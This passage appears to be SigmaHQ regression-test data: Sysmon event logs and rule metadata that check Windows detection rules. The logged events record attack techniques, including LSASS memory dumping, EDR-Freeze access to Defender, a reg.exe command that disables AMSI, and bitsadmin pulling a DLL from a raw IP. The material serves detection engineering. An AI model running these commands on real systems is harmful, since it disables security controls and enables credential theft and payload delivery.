"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:52:38.278829Z\"\n }\n },\n \"EventRecordID\": 74174,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:52:38.276\",\n \"ProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ProcessId\": 10048,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\cmd.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\Public\\\\persistence.bat\",\n \"CreationUtcTime\": \"2025-10-24 23:52:38.276\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_susp_public_folder_extension/info.yml",
"content": "id: 9556b96b-462a-4238-a0bf-5e11ff0408fe\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: b447f7de-1e53-4cbf-bfb4-f1f6d0b04e4e\n title: Suspicious Binaries and Scripts in Public Folder\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/file/file_event/file_event_win_susp_public_folder_extension/b447f7de-1e53-4cbf-bfb4-f1f6d0b04e4e.evtx\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_susp_recycle_bin_fake_exec/cd8b36ac-8e4a-4c2f-a402-a29b8fbd5bca.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:51:54.709878Z\"\n }\n },\n \"EventRecordID\": 67705,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:51:54.705\",\n \"ProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ProcessId\": 10048,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\cmd.exe\",\n \"TargetFilename\": \"C:\\\\RECYCLERS.BIN\\\\malware.exe\",\n \"CreationUtcTime\": \"2025-10-24 23:51:54.705\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_susp_recycle_bin_fake_exec/info.yml",
"content": "id: 6d485a4e-83d1-4ead-8173-9fddddb3ba22\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: cd8b36ac-8e4a-4c2f-a402-a29b8fbd5bca\n title: Suspicious File Creation Activity From Fake Recycle.Bin Folder\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/file/file_event/file_event_win_susp_recycle_bin_fake_exec/cd8b36ac-8e4a-4c2f-a402-a29b8fbd5bca.evtx\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_taskmgr_lsass_dump/69ca12af-119d-44ed-b50f-a47af0ebc364.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:50:20.590884Z\"\n }\n },\n \"EventRecordID\": 53968,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:50:20.576\",\n \"ProcessGuid\": \"5AA13A44-10B3-68FC-4E1E-000000004002\",\n \"ProcessId\": 2956,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\taskmgr.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\ADMINI~1\\\\AppData\\\\Local\\\\Temp\\\\lsass.DMP\",\n \"CreationUtcTime\": \"2025-10-24 23:50:20.576\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_taskmgr_lsass_dump/info.yml",
"content": "id: 55db307d-4a36-4594-bea8-7d114714d3b4\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 69ca12af-119d-44ed-b50f-a47af0ebc364\n title: LSASS Process Memory Dump Creation Via Taskmgr.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/file/file_event/file_event_win_taskmgr_lsass_dump/69ca12af-119d-44ed-b50f-a47af0ebc364.evtx\n"
},
{
"path": "regression_data/rules/windows/image_load/image_load_side_load_cpl_from_non_system_location/2b140a5c-dc02-4bb8-b6b1-8bdb45714cde.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 7,\n \"Version\": 3,\n \"Level\": 4,\n \"Task\": 7,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2026-02-04T08:43:28.342637Z\"\n }\n },\n \"EventRecordID\": 715282,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 776,\n \"ThreadID\": 4352\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"srv-01.midgardnet.tech\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2026-02-04 08:43:28.234\",\n \"ProcessGuid\": \"14207D89-06B0-6983-CF01-000000004402\",\n \"ProcessId\": 6672,\n \"Image\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\fsquirt.exe\",\n \"ImageLoaded\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\bthprops.cpl\",\n \"FileVersion\": \"-\",\n \"Description\": \"-\",\n \"Product\": \"-\",\n \"Company\": \"-\",\n \"OriginalFileName\": \"-\",\n \"Hashes\": \"MD5=221877743CF329314E571E9398EFCA70,SHA256=863390BB749E466975A6A5330CCD077C846E1F387AAE0327AFFE33DF87153E67,IMPHASH=7FF91A855D5B3D338EB5B4CE63698F4A\",\n \"Signed\": \"false\",\n \"Signature\": \"-\",\n \"SignatureStatus\": \"Unavailable\",\n \"User\": \"MIDGARDNET\\\\SwachchhandaP\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/image_load/image_load_side_load_cpl_from_non_system_location/info.yml",
"content": "id: 8ee57597-baba-46bd-8a61-85ff51f7aab6\ndescription: N/A\ndate: 2026-02-04\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 2b140a5c-dc02-4bb8-b6b1-8bdb45714cde\n title: System Control Panel Item Loaded From Uncommon Location\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/image_load/image_load_side_load_cpl_from_non_system_location/2b140a5c-dc02-4bb8-b6b1-8bdb45714cde.evtx\n"
},
{
"path": "regression_data/rules/windows/image_load/image_load_win_susp_dbgcore_dbghelp_load/416bc4a2-7217-4519-8dc7-c3271817f1d5.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 7,\n \"Version\": 3,\n \"Level\": 4,\n \"Task\": 7,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-11-27T07:57:32.309580Z\"\n }\n },\n \"EventRecordID\": 676402,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3544,\n \"ThreadID\": 4264\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-11-27 07:57:32.308\",\n \"ProcessGuid\": \"0197231E-046C-6928-160C-000000000D00\",\n \"ProcessId\": 296,\n \"Image\": \"C:\\\\Users\\\\Public\\\\wsass\\\\WerFaultSecure.exe\",\n \"ImageLoaded\": \"C:\\\\Windows\\\\System32\\\\dbgcore.dll\",\n \"FileVersion\": \"10.0.26100.7019 (WinBuild.160101.0800)\",\n \"Description\": \"Windows Core Debugging Helpers\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"DBGCORE.DLL\",\n \"Hashes\": \"SHA1=5E4F2C531C549BB72A658ED9DD16D491EDDBB286,MD5=FAB4B30C1C4F0A9202A7B42DCF1729DC,SHA256=1B48A4F8D20026E6C56E3AB4CC4788FA6425C8A75F8D91C2869FA533DE6B209E,IMPHASH=C324AAAC01F0F75C811E1F80C41B860C\",\n \"Signed\": \"true\",\n \"Signature\": \"Microsoft Windows\",\n \"SignatureStatus\": \"Valid\",\n \"User\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/image_load/image_load_win_susp_dbgcore_dbghelp_load/info.yml",
"content": "id: bc1c627e-6529-459d-9bd6-74ffb88b3320\ndescription: N/A\ndate: 2025-11-27\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 416bc4a2-7217-4519-8dc7-c3271817f1d5\n title: Suspicious Loading of Dbgcore/Dbghelp DLLs from Uncommon Location\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/image_load/image_load_win_susp_dbgcore_dbghelp_load/416bc4a2-7217-4519-8dc7-c3271817f1d5.evtx\n"
},
{
"path": "regression_data/rules/windows/process_access/proc_access_win_susp_dbgcore_dbghelp_load/9f5c1d59-33be-4e60-bcab-85d2f566effd.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 10,\n \"Version\": 3,\n \"Level\": 4,\n \"Task\": 10,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-11-27T07:57:32.317336Z\"\n }\n },\n \"EventRecordID\": 676404,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3544,\n \"ThreadID\": 4264\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-11-27 07:57:32.315\",\n \"SourceProcessGUID\": \"0197231E-046C-6928-160C-000000000D00\",\n \"SourceProcessId\": 296,\n \"SourceThreadId\": 5260,\n \"SourceImage\": \"C:\\\\Users\\\\Public\\\\wsass\\\\WerFaultSecure.exe\",\n \"TargetProcessGUID\": \"0197231E-2DD5-691E-0C00-000000000D00\",\n \"TargetProcessId\": 860,\n \"TargetImage\": \"C:\\\\WINDOWS\\\\system32\\\\lsass.exe\",\n \"GrantedAccess\": \"0x1fffff\",\n \"CallTrace\": \"C:\\\\WINDOWS\\\\SYSTEM32\\\\ntdll.dll+16bcc4|C:\\\\WINDOWS\\\\SYSTEM32\\\\ntdll.dll+17aee0|C:\\\\WINDOWS\\\\SYSTEM32\\\\KERNEL32.DLL+7f7dc|C:\\\\WINDOWS\\\\SYSTEM32\\\\KERNEL32.DLL+c8d28|C:\\\\WINDOWS\\\\SYSTEM32\\\\dbgcore.DLL+44c34|C:\\\\WINDOWS\\\\SYSTEM32\\\\dbgcore.DLL+48f2c|C:\\\\WINDOWS\\\\SYSTEM32\\\\dbgcore.DLL+3d414|C:\\\\WINDOWS\\\\SYSTEM32\\\\dbgcore.DLL+29c7c|C:\\\\WINDOWS\\\\SYSTEM32\\\\dbgcore.DLL+2a1f0|C:\\\\WINDOWS\\\\SYSTEM32\\\\dbgcore.DLL+4f894|C:\\\\Users\\\\Public\\\\wsass\\\\WerFaultSecure.exe+3a64|C:\\\\Users\\\\Public\\\\wsass\\\\WerFaultSecure.exe+2576|C:\\\\Users\\\\Public\\\\wsass\\\\WerFaultSecure.exe+20c9|C:\\\\Users\\\\Public\\\\wsass\\\\WerFaultSecure.exe+1a0b|C:\\\\Users\\\\Public\\\\wsass\\\\WerFaultSecure.exe+48cc|C:\\\\WINDOWS\\\\SYSTEM32\\\\KERNEL32.DLL+f17ac\",\n \"SourceUser\": \"swachchhanda\\\\xodih\",\n \"TargetUser\": \"NT AUTHORITY\\\\SYSTEM\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_access/proc_access_win_susp_dbgcore_dbghelp_load/info.yml",
"content": "id: f0a580dc-386c-4049-8ca4-cef9f956dc4c\ndescription: N/A\ndate: 2025-11-27\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 9f5c1d59-33be-4e60-bcab-85d2f566effd\n title: Suspicious Process Access to LSASS with Dbgcore/Dbghelp DLLs\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_access/proc_access_win_susp_dbgcore_dbghelp_load/9f5c1d59-33be-4e60-bcab-85d2f566effd.evtx\n"
},
{
"path": "regression_data/rules/windows/process_access/proc_access_win_werfaultsecure_msmpeng_access/387df17d-3b04-448f-8669-9e7fd5e5fd8c.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 10,\n \"Version\": 3,\n \"Level\": 4,\n \"Task\": 10,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-11-27T07:22:22.033828Z\"\n }\n },\n \"EventRecordID\": 445923,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3544,\n \"ThreadID\": 4264\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-11-27 07:22:22.031\",\n \"SourceProcessGUID\": \"0197231E-FC2D-6927-810B-000000000D00\",\n \"SourceProcessId\": 7224,\n \"SourceThreadId\": 4144,\n \"SourceImage\": \"C:\\\\Windows\\\\System32\\\\WerFaultSecure.exe\",\n \"TargetProcessGUID\": \"0197231E-2DD8-691E-4D00-000000000D00\",\n \"TargetProcessId\": 3472,\n \"TargetImage\": \"C:\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\4.18.25100.9008-0\\\\MsMpEng.exe\",\n \"GrantedAccess\": \"0x1fffff\",\n \"CallTrace\": \"C:\\\\WINDOWS\\\\SYSTEM32\\\\ntdll.dll+1284|C:\\\\WINDOWS\\\\SYSTEM32\\\\KERNEL32.DLL+185c4|C:\\\\WINDOWS\\\\SYSTEM32\\\\KERNEL32.DLL+4fe50|C:\\\\Windows\\\\System32\\\\dbgcore.DLL+164cc|C:\\\\Windows\\\\System32\\\\dbgcore.DLL+23e6c|C:\\\\Windows\\\\System32\\\\dbgcore.DLL+1b230|C:\\\\Windows\\\\System32\\\\dbgcore.DLL+112b4|C:\\\\Windows\\\\System32\\\\dbgcore.DLL+117a8|C:\\\\Windows\\\\System32\\\\WerFaultSecure.exe+115a4|C:\\\\Windows\\\\System32\\\\WerFaultSecure.exe+6a9c|C:\\\\Windows\\\\System32\\\\WerFaultSecure.exe+7378|C:\\\\Windows\\\\System32\\\\WerFaultSecure.exe+834c|C:\\\\Windows\\\\System32\\\\WerFaultSecure.exe+2748|C:\\\\Windows\\\\System32\\\\WerFaultSecure.exe+27e4|C:\\\\WINDOWS\\\\SYSTEM32\\\\KERNEL32.DLL+8740|C:\\\\WINDOWS\\\\SYSTEM32\\\\ntdll.dll+d4464\",\n \"SourceUser\": \"swachchhanda\\\\xodih\",\n \"TargetUser\": \"NT AUTHORITY\\\\SYSTEM\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_access/proc_access_win_werfaultsecure_msmpeng_access/info.yml",
"content": "id: bd66a891-01c3-40b6-aafd-5c1676b44cf3\ndescription: N/A\ndate: 2025-11-27\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 387df17d-3b04-448f-8669-9e7fd5e5fd8c\n title: Suspicious Process Access of MsMpEng by WerFaultSecure - EDR-Freeze\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_access/proc_access_win_werfaultsecure_msmpeng_access/387df17d-3b04-448f-8669-9e7fd5e5fd8c.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_amsi_registry_tampering/7dbbcac2-57a0-45ac-b306-ff30a8bd2981.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-25T14:30:27.369114Z\"\n }\n },\n \"EventRecordID\": 16094,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-25 14:30:27.352\",\n \"ProcessGuid\": \"0197231E-4A83-694D-9E0E-000000000800\",\n \"ProcessId\": 14144,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\reg.exe\",\n \"FileVersion\": \"10.0.26100.1 (WinBuild.160101.0800)\",\n \"Description\": \"Registry Console Tool\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"reg.exe\",\n \"CommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\reg.exe\\\" add \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows Script\\\\Settings\\\" /v AmsiEnable /t REG_DWORD /d 0 /f\",\n \"CurrentDirectory\": \"C:\\\\WINDOWS\\\\system32\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-4C14-030000000000\",\n \"LogonId\": \"0x3144c\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=573EB13AC2BA31E9C2E17FB6DAD14154,SHA256=E295E776FD4F7F73DFAAA5698A19EA7A2F4A2F0C5E1681FAC94E45D00296C926,IMPHASH=A26BCB048DF34CBB422F2656F38634D0\",\n \"ParentProcessGuid\": \"0197231E-EC48-694C-AA0C-000000000800\",\n \"ParentProcessId\": 12456,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_amsi_registry_tampering/info.yml",
"content": "id: 242d26e0-1ce5-4a34-960d-144f34f60e37\ndescription: N/A\ndate: 2025-12-25\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 7dbbcac2-57a0-45ac-b306-ff30a8bd2981\n title: Windows AMSI Related Registry Tampering Via CommandLine\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_amsi_registry_tampering/7dbbcac2-57a0-45ac-b306-ff30a8bd2981.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download/d059842b-6b9d-4ed1-b5c3-5b89143c6ede.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-10T04:33:20.562782Z\"\n }\n },\n \"EventRecordID\": 18463,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-10 04:33:20.557\",\n \"ProcessGuid\": \"0197231E-F810-6938-B710-000000000800\",\n \"ProcessId\": 7732,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\bitsadmin.exe\",\n \"FileVersion\": \"7.8.26100.1 (WinBuild.160101.0800)\",\n \"Description\": \"BITS administration utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"bitsadmin.exe\",\n \"CommandLine\": \"bitsadmin /transfer n https://www.atomicredteam.io/atomic-red-team/atomics/T1218.011 hello.html\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\AppData\\\\Local\\\\Temp\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-FB17-030000000000\",\n \"LogonId\": \"0x317fb\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=4FCFE1D61E6D962F06CE2B61FC11BC0F,SHA256=6FEB16602A2FD1158C6F7E56E3B05A5E9AC01E88089535978C890EC6954A5AFA,IMPHASH=44794EEDDEB70144ABA2F1483E762F30\",\n \"ParentProcessGuid\": \"00000000-0000-0000-0000-000000000000\",\n \"ParentProcessId\": 14736,\n \"ParentImage\": \"-\",\n \"ParentCommandLine\": \"-\",\n \"ParentUser\": \"-\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download/info.yml",
"content": "id: 83c4dfac-7b5b-4a0e-803e-cca15c933c5e\ndescription: N/A\ndate: 2025-12-10\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: d059842b-6b9d-4ed1-b5c3-5b89143c6ede\n title: File Download Via Bitsadmin\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download/d059842b-6b9d-4ed1-b5c3-5b89143c6ede.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_direct_ip/99c840f2-2012-46fd-9141-c761987550ef.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-10T04:44:13.414345Z\"\n }\n },\n \"EventRecordID\": 18552,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-10 04:44:13.371\",\n \"ProcessGuid\": \"0197231E-FA9D-6938-D910-000000000800\",\n \"ProcessId\": 9532,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\bitsadmin.exe\",\n \"FileVersion\": \"7.8.26100.1 (WinBuild.160101.0800)\",\n \"Description\": \"BITS administration utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"bitsadmin.exe\",\n \"CommandLine\": \"bitsadmin /transfer n https://12.34.45.67/calc.dll C:\\\\Users\\\\Public\\\\calc.dll\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\AppData\\\\Local\\\\Temp\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-FB17-030000000000\",\n \"LogonId\": \"0x317fb\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=4FCFE1D61E6D962F06CE2B61FC11BC0F,SHA256=6FEB16602A2FD1158C6F7E56E3B05A5E9AC01E88089535978C890EC6954A5AFA,IMPHASH=44794EEDDEB70144ABA2F1483E762F30\",\n \"ParentProcessGuid\": \"00000000-0000-0000-0000-000000000000\",\n \"ParentProcessId\": 14736,\n \"ParentImage\": \"-\",\n \"ParentCommandLine\": \"-\",\n \"ParentUser\": \"-\"\n }\n }\n}\n"
},
{
